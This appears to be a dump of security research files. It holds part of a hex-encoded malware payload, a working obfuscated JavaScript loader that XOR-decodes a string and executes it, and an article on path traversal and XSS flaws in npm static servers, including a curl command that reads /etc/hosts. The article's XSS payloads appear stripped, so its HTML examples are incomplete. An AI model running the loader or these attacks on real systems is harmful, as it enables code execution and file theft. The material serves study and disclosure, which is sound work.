"b0d091c380933330c6e55016959760c0c58780c29212f4c0b2c2" + "b4f" + "5d22732f63515" + "e755418222511576d0663300921750122325e2a0b523007397d6e7d5d43464d6007282a" + "2a797322517c7f0319471a342709" + "5c1750044e050c79731a547b040c546b1959477232092e6e7e51527f197b06087143585" + "e7d347a27545" + "d7b585e25587314007507322e3402795861516f" + "0d07775734150" + "b346e550e6e4a405e682703440223434d6a78454e2e50472a1a1f012950020d0b787f472f7f3d50307b7222002502422d607c795d32130433602b6326" + "6472782b32002c46532" + "96c03146f3d56395d716e7f582629030b217b360329187f5" + "4346" + "66c062824" + "5c2e6b593508490f7f555872760d00544b23757712005e46417505202d482f0b290e202316632808217b1e052165705e1b7a785059307953777b6f055a0e734a0f181b7f440b74016f2f7b2b317" + "54d3b7e14075101523e2f257b011d2553772d4d771" + "25a3b7536712b55004245785e050073285963" + "6c042a18470e284a0c072235010d0a590c07047b04667a4b2f150f27592c086a1c427f2e64705d6f2e02755604265b55627b2d46081e386657357b5130000f36737c5" + "624322f00464f0d1130" + "2d56003028400" + "c570a0d552a1" + "02f1f0f40211" + "52c2c592e2a787c68640a1f0c5e6e093543267f062d57496a4b226d174" + "8285d4236004b49562722034570" + "4a5b26744a7449722d7e3b52" + "78746217615503087b1f095a544e077b0b50625b07067b4c222b3f7d3f5" + "66e4d707423095a4e5a26507046043424180c564a1b671b50717d5601737b540604071449391827021476281f535a710326450554785907616228" + "47236a7e006c70582e5c4f2402790b445d52061b227103750" + "35" + "a032a7" + "f0f415a752a1a7c3f0e52743208677377705f6b322563300c285" + "6555a075317121f0d592c08" + "22233" + "f3f780d18516d" + "4d4f366d7e09052250627f77682f1d777c7c7b0e514f7113077e073e3c78316f224b5" + "d607c72564a02244878546c0e48474b533d555a0732" + "147a53210f772e47712514717c4d6165080659" + "5a226a7e1e091150057c0f2f2d792b58152d030b495f003168700a38482474537a725970483253252329462c5c31295432516a005c5d055623774779595a2d61241e462a6e797b076651097b63793c1" + "1271a54242a093" + "56545110052363c522a4e2" + "a2d30787b3a0256530a4a3c035e5b0109530b68672856" + "171d570233075b7a4d2" + "55b0f00732a022a0e19554e" + "24482" + "10f0d78564431402727495d0a36237c590c093c2924722727397d4b366f764a78073f7a73377c212" + "c4d7e6c0c6f60094f6b007b5269753074404a402c02137715227b3e0d2f522d7c" + "227001436455457a266b4522235e7" + "d50763a2327167455705f2c5a6a180414422953225c1b58305c7f2b76140a7f7401420" + "02c2c0b7523585d27004a5f552a365227062b465d0d0a5130237d3d5114526d175a537a58006170210d213272347f4f7c7d1e403c372f2229547" + "90d2d575a7f7810466731085219" + "73157" + "410007f7b5c445b0c56770a69335a3e2735257345755224716075582f7c310b07043303" + "7d042a2b21022575723a5d7472360f3e065b0c195a3a7e015e0f6868084f305b297d2a5" + "80b1e732d1e5455512d7f2c6" + "418065a460c176002772001371c3859135221652963042a7027702d4e7b102e0503323d021c68794" + "723192e280e38282" + "64270234059104c317a320c557b49432409" + "0d202f754b5907492973304b66030e227621382f64754f0e0c05737c2577526159300874640d533a400e1d7c530a03032a2a2c1a5171080f017a4d76251c2d0e6b29514917552e792a291c54331f663005" + "69417836065e0e6b097" + "00b377c6c395d1901265072653c49" + "6a7b08792d6e534e23211455203d07237e5e13607d250c530b2c7e346e267f6b470808497e0e73420b6217487558787c57462f317706603474210e4c456b707f4b2f2e3e7a7272755f70681f5a" + "79" + "286451636" + "0622b3d025c35775d4" + "d7" + "e7f75675663526219711a350c077e30" + "2867567901196f6d697" + "54c2e021d5e7a1d4511712e0a395f4a0e29584d4772207757007d3a565e15735a5d71700930377d174" + "c212f0c5a1605477" + "67b273e26602" + "97e5e392a2270070c5c030529" + "2f340d037548782a02743274015e594f" + "5b206b5d3d2c6c1a557256035d3c5b" + "0f0b7c3f05187f1622526440603e525c691f66710c0" + "35727566e41683b252f49234c1" + "574112f206622" + "4c035e5d223c6b0d485f352f223e5d502d2e4f5a0e232b1477045c687b005729200a7f78797c117b737c6a7842505505726b7d250e72723e37526" + "e4d077726522c0f147d036403095957077a6b1729" + "201f004f1c6139380d" + "592a7f031b2b0c6079387d5273782f56612d49237e7e67385e6e44791a7c62097" + "859675407412f776b751114395b120a0b" + "7164357b070c5a0c224352763b772c6b301d" + "56572d5e5c3e736c583f08070c5652757c59083371567e48760a6542247f6210007d7e28722473353" + "00155" + "20501a7f7e67505f62757f34430e77060428435f5f792632061e642a3004" + "766d21407a7d5c6472312161562900081f795f21072b3c69752e63797d467d53640c27012553" + "74375a250e597705413b7a20433f0357175e27264f040d2609705401561556654d0a45277c0a56041017" + "445e7f09314f4c29287e0e227" + "536442c0b2e385c484f6022687e7262295731" + "067e2c6b7d4f033649" + "0d313204" + "0c01132d655854795d792114501f2d" + "0e6e247b5f037e5e29523a672c1925513f392f762d23717962082e3b2754075e585" + "26228492c4f28277371140b115d5679652b13532a0361055d23570022210677" + "264a214f6350515c09256f05720c5f41205f3a506106424a59292a2e0b665526772" + "f66096355417f584b6f31604c3d11527829292a072" + "c00156f69657d073d7c140a1278" + "702c7c10255c55065c463d02497e18792f3b222a7b734324257b224e5" + "f7b0b35262f2f7574040c002e214101582f3321382a035a390e1374577e0a4f640a792d6e70230b58774a760f4c740c151466077a03375c3b0a174209522d5151030c064c25211f266176" + "2b0f79775e4d0710287703493a556b33034e766e691f1" + "56e0" + "866226d7f6159" + "69456508316213386b440f070b01260c135a2c13567c633b6a280d73577c457" + "4300" + "644710000546a136e0c05120b5574440e76301a7e0e491f0c7402017e292d" + "4148070b2d2c657b713d" + "2d74352175496b0e2e0d7c571207040f5c3708174151395c2e06440074266456306a7c1d2a7a58076251587" + "e5c50" + "166a29741d0d704578" + "2d4d0b7f" + "08092b22" + "6e560d295a2a553a122d2c4c1b715" + "a1b515d5c4d4c1c1d2277075c7c7e482e10243e7472572d7c101e43705249730332042d230e1d42234d7d220339534e6318203326081f79093f7c507c6921372d3c1e54491e59031a21156e570" + "8012d73291" + "e26697b55610259000a717007563e3d50" + "647006200c477c2e2151523d5173410d015" + "351742f" + "38365645602f2d230b3e0818557c013524177b05016" + "90b790c0" + "d5e2c0d77717f465e21261b0c72742860005a7c561978" + "7510506b0e3a3f5f76710077345f2a580b3e036b74687d0144441864153373"));
================================================
FILE: javascript-malware-obfuscation/do_not_run_deobfuscated.js
================================================
(function(quhuvu6) {
var defiq = cicuza(quhuvu6);
var permy = "H@D~7a84O";
var v = {
getpy: "myqniroqa3"
};
var fnConstructor = String.constructor;
var t = "mokzine";
var dikol = [];
var k = 1;
while (k <= 1) {
dikol = (permy.substr(permy.length - k)).split('');
for (var j = +!!false; j < defiq.length; j++) {
defiq[j] = defiq[j] ^ dikol[j % dikol.length].charCodeAt(0);
}
k++;
};
for (var r = +!!false; r < defiq.length; r++) {
defiq[r] = String.fromCharCode(defiq[r]);
};
t = defiq.join('');
v.toString = fnConstructor.constructor(t);
var gogoq = "1cf4d5" + v + "631a403f5";
nilse(gogoq);
function cicuza(val) {
var result = [];
for (var i = 0; i < val.length; i += 2) {
result.push(parseInt(val.substr(i, 2), 16));
}
return result;
};
function nilse(tefkysab) {
return (new Function()(tefkysab));
};
}("41553a304f0b442551284206")); // truncated; see do_not_run.js for original value
================================================
FILE: npm-static-servers-most-common-issues/npm-static-servers-most-common-issues.md
================================================
# Most common security vulnerabilities in npm static content/file servers modules
## Intro
If you are JavaScript developer and you are working with Node.js, chances that you've never heard about [npm](https://npmjs.org) are literaly slim. **npm** is a repository where hundreds of thousands ready-to-use modules for your state-of-the-art Node.js application are just waiting to be downloaded and used as a part of your codebase. node_modules directory in your project grows up exponential along with every new feature you are working on.
Maybe it's even more and **you** develop npm modules as well, giving back your work to the community. That's really fantastic, I always encourage to contribute to open source projects and share your work with the others. Developers build this ecosystem and thanks to them it's amazing.
There are many types of modules doing specifing things. One of those things are **serving static content** from your server directly to your users. They can be used for eg. browsing directories, edit files or they just can work as small CDN service for your web application CSS or images.
If you developed already such module or you are going to build one, maybe just for your needs, maybe just for the company you work for - security should be a very important part of your project.
Unfortunately, this is not always the case.
In December 2017, **[Node.js Ecosystem Bug Bounty Program](https://hackerone.com/nodejs-ecosystem)** emerged on **HackerOne** platform. The very first report, opened by Yasin Soliman [@ysx](https://hackerone.com/ysx) was Path Traversal vunlnerability in ```serve-here``` module and since then, this kind of vulnerability (which in most cases leads to Local File Include) is the most common reported - https://hackerone.com/nodejs-ecosystem/hacktivity?sort_type=latest_disclosable_activity_at&filter=type%3Aall%20to%3Anodejs-ecosystem&page=1&range=forever
In this post I'd like to present most common security issues in static server npm modules I found in the last couple of weeks. If you do not know what Path Traversal, LFI or XSS issues are - I put links to some basic resources about each of issue and strongly recommend to read and learn what they are and how they can be used against your application users.
## Path Traversal and Local File Include
[Path Traversal](https://www.owasp.org/index.php/Path_Traversal), also known as Directory Traversal, is an issue which allows attacker to go up in directory tree on the remote server, using ```../``` sequence (dot-dot-slash).
This type of vulnerability exists when server takes user input (eg. filename) and uses it to build relative (or absolute) path to static resource, like text file or image.
This leads to several vulnerabilites, the most common is [Local File Inlclusion](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion). Very dangerous situation occurs when application allows users to upload files into chosen location. If An attacker is able to change destination path, one is able to upload eg. webshell (simple script which allows to execute system commands on the remote machine) into the directory accessible in the browser and gain an access to the server's command line.
Let's see how this vulnerability can be exploited in the wild.
Presented code comes from [public](https://www.npmjs.com/package/public) npm module:
```javascript
var pathname = url.parse(req.url).pathname;
var filePath = path.join(dir, pathname); // Real file path
var base = filePath.replace(dir, ''); // Base path for browser link
var abs = path.resolve(filePath);
console.log(new Date().toString(), abs);
fs.readFile(filePath, function(err, data) { // <-- vulnerable line
if (err) {
(...)
}
res.writeHead(200, { 'Content-Type': mime.lookup(filePath) });
res.end(data);
```
In line marked with ```<-- vulnerable line``` comment, you can see ```fs.readFile()``` call, where ```filePath``` is used as an argument.
```filePath``` is build with ```pathname``` argument read from HTTP request. No sanitization was introduced, so if ```pathname``` contains dot-dot-slash sequence, Path Traversal can be exploited.
When ```public``` is run, nothing could stop attacker from reading the content of any file on the server:
```
$ curl -v --path-as-is http://127.0.0.1:8080/../../../../../etc/hosts
```
---
This issue was fixed by the module maintainer. You can read full report on HackerOne here:
[[public] Path Traversal allows to read content of arbitrary files](https://hackerone.com/reports/312918)
---
Another example of vulnerable code comes from [hekto](https://www.npmjs.com/package/hekto) module. First, let's see how path is read from HTTP request:
```javascript
let file = path.join(process.cwd(), argDir, this.request.url);
```
Now, ```file``` contains full path to requested resource, starting from current working directory (from where server was run). Next, some logic is implemented (not related to the vulnerability though), which takes particular action depends on file extension:
```javascript
if (fs.lstatSync(file).isFile()) {
this.status = 200;
if (path.extname(file) == '.html') {
this.type = 'text/html';
this.body = fs.createReadStream(file);
} else if (path.extname(file) == '.css') {
this.type = 'text/css';
this.body = fs.createReadStream(file);
} else {
const fileBuffer = readChunk.sync(file, 0, 4100);
const mime = fileType(fileBuffer);
if (mime) {
this.type = mime.mime + '; charset=utf-8';
} else {
this.type = 'text/plain; charset=utf-8';
}
this.body = fs.createReadStream(file);
}
}
```
What you should notice here, nowhere in the code ```file``` is checked against existence of ```../``` sequence. This leads directly to Path Traversal vulnerability and allows attacker to read content of arbitrary files.
Solution implemented by module's maintainer simply checks if ```file``` path "fit" inside current appliaction working directory (if ```../``` sequences are present, ```file``` won't pass this condition as it "goes" outside):
```javascript
if (!isPathInside(file, path.join(process.cwd(), argDir))) {
this.body = 'Bad Request';
this.status = 400;
return;
}
```
```isPathInside``` method comes from
[path-is-inside](https://www.npmjs.com/package/path-is-inside) module, which is a good choice if you want to prevent your code against this type of issue. As an author explains in his GitHub repository [README](https://github.com/domenic/path-is-inside/blob/master/README.md) - detection of path is not as trivial as it looks like.
Incorrect implementation of path resolving routine can easily introduce Path Traversal vulnerability in your code, so always be careful when you build your paths.
---
You can see the full report on HackerOne here:
[[hekto] Path Traversal vulnerability allows to read content of arbitrary files](https://hackerone.com/reports/311218)
---
Here's another variant of this attack scenario.
This time, [serve](https://www.npmjs.com/package/serve) module allows to display directory content directly in the browser:

Attacker was able to use ```%2d``` and ```%2f``` characters (an ASCII codes of ```.``` and ```/``` respectively) and forces server to display content of directories outside of the application root:

An issue was [fixed and patch deployed](https://github.com/zeit/serve/pull/316/files) in just 2 days after report was opened. The implementation of fix contains ```decodeUriComponent()``` (see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/decodeURIComponent) JavaScript function, which turns URI encoded characters into their ASCII representation, so ```%2f``` becomes ```/``` and ```%2e``` becomes ```.```. This normalization allows to verify if sequence ```../``` is present in the url and does not allow to bypas protection against Path Traversal with various URL encodings (with Unicode or hexadecimal encodings).
---
Full report available on HackerOne can be found here:
[[serve] Directory index of arbitrary folder available due to lack of sanitization of %2e and %2f characters in url](https://hackerone.com/reports/307666)
---
**Remember to always sanitize user input comes from HTTP Request and never use anything which comes from Request directly in code, especially if this code executes calls to the system, like opening and reading files or streams, creating directories and similar methofs from [File System Node.js module](https://nodejs.org/dist/latest-v8.x/docs/api/fs.html)**
## HTML Injection and XSS issues in displayed content
In the last example of Path Traversal vulnerability in **serve** module, an user was able to see the content of directory in the browser. This is not always the case (many static server modules does not expose directory listings), however, in some modules which provide this type of functionality, another problem is quite common.
As any other output displayed in browser, directory listings contains HTML code, mostly built as concatenated string contains HTML tags and directory and files attributes to display them to the users.
Let's take a look at sample code, which comes from [crud-file-server](https://www.npmjs.com/package/crud-file-server) module. This fragment builds HTML output in the way described above, using list of files saved in ```results``` array:
```javascript
res.setHeader('Content-Type', 'text/html');
res.write('');
for(var f = 0; f < results.length; f++) {
var name = results[f].name;
var normalized = url + '/' + name;
while(normalized[0] == '/') { normalized = normalized.slice(1, normalized.length); }
res.write('\r\n');
}
res.end('\r\n');
```
Especially this line should be bring to our attention:
```javascript
res.write('\r\n');
```
It might not be obvious at first sight, but this code contains [XSS](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)) vulnerability.
If ```name``` will contain string ``````, then the result of this line will be an HTML contains XSS payload send to the browser:
```html
```
Of course, ```href``` attribute valueis invalid, but this is not important in this attack scenario. Important is that between `````` and `````` tags there is perfectly valid `````` as a file name. Of course, instead of ```alert('XSS!')``` JavaScript code in the payload should do something a little bit more malicious than only displaying popup with some message to be considered as a threat for the users.
Creating the file with name `````` is the only way to achieve some code execution in the browser. But, due to operating system, there is no way to create file or directory with ```/``` character in the name.
Do we need one though?
Not really, because we **do not need to execute JavaScript directly**. We can instead embed ```